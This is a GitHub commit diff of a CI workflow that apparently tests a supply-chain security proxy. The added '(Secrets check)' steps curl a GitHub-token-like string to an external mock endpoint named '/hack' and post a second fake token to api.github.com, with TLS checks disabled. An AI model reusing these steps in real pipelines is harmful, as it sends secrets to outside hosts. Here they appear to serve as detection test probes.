Skip to content

Commit d4f7d74

Browse files
authored
Update main.yml
1 parent e1494b5 commit d4f7d74

File tree

1 file changed

+48
-62
lines changed

1 file changed

+48
-62
lines changed

.github/workflows/main.yml

Lines changed: 48 additions & 62 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,13 @@
1-
name: Build NPM Package
2-
1+
name: Build JS Package For Secrets
32
on:
4-
workflow_dispatch: # This line allows the workflow to be triggered manually
3+
workflow_dispatch:
54

65
permissions:
76
checks: write
8-
contents: write
7+
contents: read
98
packages: read
10-
119
env:
12-
API_URL: https://app.invisirisk.com
10+
API_URL: https://app.veribom.com
1311

1412
jobs:
1513
create_scan_in_IR_Portal:
@@ -27,7 +25,6 @@ jobs:
2725
- name: Parse Response
2826
id: parseResponse
2927
run: echo "scan_id=${{fromJSON(steps.createScan.outputs.response).data.scan_id}}" >> "$GITHUB_OUTPUT"
30-
3128
ecr_details:
3229
runs-on: ubuntu-latest
3330
outputs:
@@ -40,8 +37,8 @@ jobs:
4037
id: fetchECRDetails
4138
uses: fjogeleit/http-request-action@v1.15.1
4239
with:
43-
url: '${{env.API_URL}}/utilityapi/v1/registry?api_key=${{secrets.VB_API_KEY}}'
44-
method: 'GET'
40+
url: '${{env.API_URL}}/utilityapi/v1/registry?api_key=${{secrets.VB_API_KEY}}'
41+
method: 'GET'
4542
- name: Decoding VB Token
4643
id: parseToken
4744
run: echo "DECODED_TOKEN=$(echo ${{ fromJson(steps.fetchECRDetails.outputs.response).data }} | base64 -d)" >> "$GITHUB_OUTPUT"
@@ -52,7 +49,7 @@ jobs:
5249
echo "token=${{fromJSON(steps.parseToken.outputs.DECODED_TOKEN).password}}" >> "$GITHUB_OUTPUT"
5350
echo "region=${{fromJSON(steps.parseToken.outputs.DECODED_TOKEN).region}}" >> "$GITHUB_OUTPUT"
5451
echo "registry_id=${{fromJSON(steps.parseToken.outputs.DECODED_TOKEN).registry_id}}" >> "$GITHUB_OUTPUT"
55-
52+
5653
start_proxy_and_build:
5754
runs-on: ubuntu-latest
5855
needs: [create_scan_in_IR_Portal, ecr_details]
@@ -62,63 +59,52 @@ jobs:
6259
credentials:
6360
username: ${{needs.ecr_details.outputs.ecr_username}}
6461
password: ${{needs.ecr_details.outputs.ecr_token}}
65-
env:
66-
PSE_DEBUG_FLAG: --alsologtostderr
67-
POLICY_LOG: t
68-
INVISIRISK_JWT_TOKEN: ${{secrets.VB_API_KEY}}
69-
INVISIRISK_PORTAL: https://app.invisirisk.com/
70-
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
62+
env:
63+
PSE_DEBUG_FLAG: --alsologtostderr
64+
POLICY_LOG: t
65+
INVISIRISK_JWT_TOKEN: ${{secrets.VB_API_KEY}}
66+
INVISIRISK_PORTAL: https://app.veribom.com/
67+
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
7168
container:
72-
image: node:18-alpine
73-
options: --cap-add=NET_ADMIN
69+
image: node:18-buster
70+
options: --cap-add=NET_ADMIN --privileged
7471
strategy:
7572
matrix:
7673
node-version: [18.x]
7774
steps:
78-
- name: Print Scan ID
79-
env:
80-
SCAN_ID: ${{ needs.create_scan_in_IR_Portal.outputs.scan_id }}
81-
run: echo $SCAN_ID
82-
83-
- name: PSE Action
84-
uses: invisirisk/pse-action@v1.0.8
85-
with:
75+
- name: Install curl
76+
run: |
77+
apt-get update
78+
apt-get install -y curl
79+
80+
- env:
81+
SCAN_ID: ${{ needs.create_scan_in_IR_Portal.outputs.scan_id }}
82+
run: echo $SCAN_ID
83+
- uses: invisirisk/pse-action@v1.0.8
84+
with:
8685
github-token: ${{ secrets.GITHUB_TOKEN }}
8786
SCAN_ID: ${{ needs.create_scan_in_IR_Portal.outputs.scan_id }}
87+
- name: Checkout the code
88+
uses: actions/checkout@v3
89+
- name: Use Node.js ${{ matrix.node-version }}
90+
uses: actions/setup-node@v3
91+
with:
92+
node-version: ${{ matrix.node-version }}
8893

89-
- name: Checkout code
90-
uses: actions/checkout@v3
91-
with:
92-
fetch-depth: 0
93-
token: ${{ secrets.GITHUB_TOKEN }}
94-
95-
- name: Configure Git
96-
run: |
97-
git config --global --add safe.directory "${GITHUB_WORKSPACE}"
98-
git config --global user.name "GitHub Actions"
99-
git config --global user.email "github-actions[bot]@users.noreply.github.com"
100-
101-
- name: Setup Node.js
102-
uses: actions/setup-node@v3
103-
with:
104-
node-version: ${{ matrix.node-version }}
105-
106-
- name: Install dependencies
107-
run: |
108-
npm install
109-
npm ci
110-
111-
- name: Build and test
112-
run: |
113-
npm run build --if-present
114-
npm test
115-
116-
- name: Commit and push changes
117-
run: |
118-
if [[ -n "$(git status --porcelain)" ]]; then
119-
git add .
120-
git commit -m "chore: automated build and test updates [skip ci]"
121-
git push https://${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}.git HEAD:${{ github.ref }}
122-
else
123-
echo "No changes to commit"
124-
fi
94+
- name: (Secrets check) Send POST request with GitHub token
95+
run: |
96+
curl -k -X POST https://vbirmock.free.beeceptor.com/hack \
97+
-H "Content-Type: application/json" \
98+
-d '{
99+
"GH": "ghp_DEFzmg7RHrQ2eMe2IF4NxNWQodYpab3VMXXX"
100+
}'
101+
- name: (Secrets check) Make API Request
102+
run: |
103+
curl -k -X POST https://api.github.com/endpoint \
104+
-d '{"name": "ghp_1234567890abcdef1234567890abcdef12345678", "description": "A description of my repository"}'
105+
106+
- name: install dependencies
107+
# run: pip install -r requirements.txt
108+
run: npm install
109+
# - run: npm run build --if-present
110+
# - run: npm test

0 commit comments

Comments
 (0)